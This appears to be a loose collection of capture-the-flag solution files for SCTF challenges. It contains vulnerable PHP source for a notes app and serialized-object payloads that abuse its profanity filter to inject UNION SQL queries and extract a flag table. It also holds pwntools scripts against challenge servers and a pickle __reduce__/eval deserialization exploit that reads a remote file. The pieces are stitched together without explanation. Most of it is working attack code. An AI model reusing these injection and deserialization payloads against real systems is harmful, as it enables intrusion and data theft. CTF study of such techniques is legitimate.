<?php
  function generateRS($length = 64) {
     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
     $charactersLength = strlen($characters);
     $randomString = '';

     $urandom = fopen("/dev/urandom", "rb");
     for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)];
     }
     return $randomString;
  }


  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

  require "models.php";
  if(isset($letter))
  {
     $note = new note();
     $note->user = $_SESSION['user'];
     $note->letter = $letter;

     if($_FILES['file']['size'] > 0)
     {
        if($_FILES['file']['size'] > 30)
        {
           echo "too big";
        }
        else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name']))
        {
           echo "error1";
        }
        else
        {
           $uploadfile = "/var/www/html/uploads/".generateRS();
           if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
           {
              $fname = $_FILES['file']['name'];
              $note->addfile($fname, $uploadfile);
           }
           else
           {
              echo "error2";
           }
        }
     }
     $note->add();
  }
?>

<?php
  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

 require "models.php";
 $user = $_SESSION['user'];
 $user = mysql_real_escape_string($user);
 $DB->execute("select data from notes where username=\"${user}\"");
 $notes = $DB->fetch_all();

 foreach($notes as $note)
 {
    $note = unserialize($note);

    echo "<br>";
    $letter = $note->letter;
    $info = $note->resolve_file();
    echo "<div class=\"container\">";
    echo "<blockquote>";
    echo "<p>${letter}</p>";
    if(isset($info))
    {
       $path = $info[1];
       $name = $info[0];
       echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>";
   }
    else
      echo "<footer>Attached file: None</footer>";
      echo "</blockquote>";
   echo "</div>";
  }
?>

<?php
 class db
 {
    public $conn, $res;
    function __construct()
    {
       global $servername, $username, $password, $db_name;
       $this->conn = mysql_connect($servername, $username, $password) or die("connect error");
       mysql_select_db($db_name);
    }

    function execute($query)
    {
       $this->res = mysql_query($query) or die("SQL ERROR");
    }

    function fetch_all()
    {
       $res = array();
       while($row = mysql_fetch_row($this->res))
       {
      echo $row[0];
          array_push($res, $row[0]);
       }
       return $res;
    }

    function fetch_arr()
    {
       return mysql_fetch_array($this->res);
    }

    function fetch_one()
    {
       $res = mysql_fetch_row($this->res);
       return count($res) > 0 ? $res[0] : NULL;
    }

    function get_auto_incre()
    {
       return mysql_insert_id();
    }

 };


 $DB = new db();


 class note
 {
    public $user, $letter, $attached_file;

    function addfile($realname, $filename)
    {
       global $DB;

       $realname = mysql_real_escape_string($realname);
       $filename = mysql_real_escape_string($filename);

       $DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")");
       $this->attached_file = $DB->get_auto_incre();

    }

    function add()
    {
       global $DB;
       $str = serialize($this);
       $str = $this->filter($str);

       $user = mysql_real_escape_string($this->user);
       $str = mysql_real_escape_string($str);
       $DB->execute("insert into notes values (\"${user}\", \"${str}\")");
    }

    function filter($str)
    {
       global $profanity_word_replace;
       $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l");
       foreach($filter_word as $word)
       {
          $replace = str_repeat($profanity_word_replace, strlen($word));
          $word = preg_quote($word);
          $str = eregi_replace($word, $replace, $str);
       }
       return $str;
    }

    function resolve_file()
    {
       global $DB;
       $id = $this->attached_file;
       if($id)
       {
         $DB->execute("select realname, path from files where id=${id}");
         return $DB->fetch_arr();
      }
      return NULL;
    }
 };

?>

# table name

f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}

# column name

f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1

# flag

f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1

#coding: utf-8
from pwn import *
import hashlib
import sys

def divide(t, idx, s, d, g):
   if t[idx] == '\xb8':
       a = 'mov eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s = int(b,16)
   elif t[idx] == '\x2d':
       a = 'sub eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s -= int(b,16)
   elif t[idx] == '\x05':
       a = 'add eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s += int(b,16)
   elif t[idx] == '\x74':
       a = 'je 0xf\nmov eax, 0x0\nmov eax,'
       b = 'DWORD PTR [eax]'
       c = 10
   elif t[idx] == '\xf7':
       a = 'mul'
       b = 'edx'
       c = 2
       s *= d
   elif t[idx] == '\xba':
       a = 'mov edx,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       d = int(b,16)
   elif t[idx] == '\x3d':
       a = 'cmp eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       g = int(b,16)
   elif t[idx] == '\x48':
       a = 'mov rax, 0x3c\nmov rdi,'
       b = '0x0\nsyscall'
       c = 16
   s &= 0xffffffff
   return a, b, c, s, d, g

r = remote("buildingblocks.eatpwnnosleep.com", 46115)
for q in range(10):
   print r.recvuntil(")\n")
   data = r.recvuntil("]")
   data = eval(data)

   blocks = []

   res = ""
   for d in data:
       blocks.append(base64.b64decode(d).encode('hex'))

   #print blocks

   sum_list = []
   goal_list = []
   start = 0

   for b in blocks:
       block = b.decode('hex')
       idx = 0
       d = 0
       s = 0
       g = 0
       print "[*] {} block.".format(blocks.index(b))
       if block[0] == '\xb8':
           start = blocks.index(b)
       while idx < len(block):
           inst, value, i, s, d, g = divide(block, idx, s, d, g)
           idx += i
           print inst, value
       
       sum_list.append(s)  
       goal_list.append(g)
       print "[+] sum : {}\n".format(hex(s))

   print sum_list
   print goal_list
   print start

   cnt = 0
   now = start
   res = [start,]
   while cnt < len(blocks)-1:
       next = goal_list.index(sum_list[now])
       now = next
       cnt += 1
       res.append(now)

   key = ""
   for i in range(len(blocks)):
       key += blocks[res[i]].decode('hex')

   key = hashlib.sha256(key).hexdigest()
   r.sendline(key)

print r.recvuntil("}")

#coding: utf-8
import os, re
import time

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
goal = "=ze=/<f"

strings = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*-=+~?"

while 1:
       n = raw_input(">> ")
       name = ""
       for i in strings:
               l = os.listdir('.')
               for j in l:
                       if "SCTF" in j:
                               name = j
               next = "SCTF{"+n+i+"}"
               os.rename(name, next)
               print next
               p = os.popen("./"+next).read()
               print p
               if goal in p:
                       print next
                       break
               time.sleep(0.05)

#coding: utf-8
from pwn import *
import sys
import base64

r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("finish\n")
r.sendline("auto.c")
print r.recvuntil("base64 : ")

with open("in.txt","r") as f:
       src = f.read()

data = base64.b64encode(src)
print data
r.sendline(data)
print r.recvuntil("good\n")
print r.recvuntil("runner.c\n")
print r.recvuntil("pass\n")
while 1:
       print r.recv(1),

from pickle import dumps

print dumps([1, 2, 3])+'#'

#!/bin/bash
python dump.py | nc 0 55402

#coding: utf-8
from pwn import *
from cPickle import dumps
import os

payload = "open('test.py').read()"

class exploit(object):
       def __reduce__(self):
               return (eval, (payload,))

pd = dumps(exploit())
r = remote("readflag.eatpwnnosleep.com", 55402)

r.send(pd+"#")
print r.recv(2048)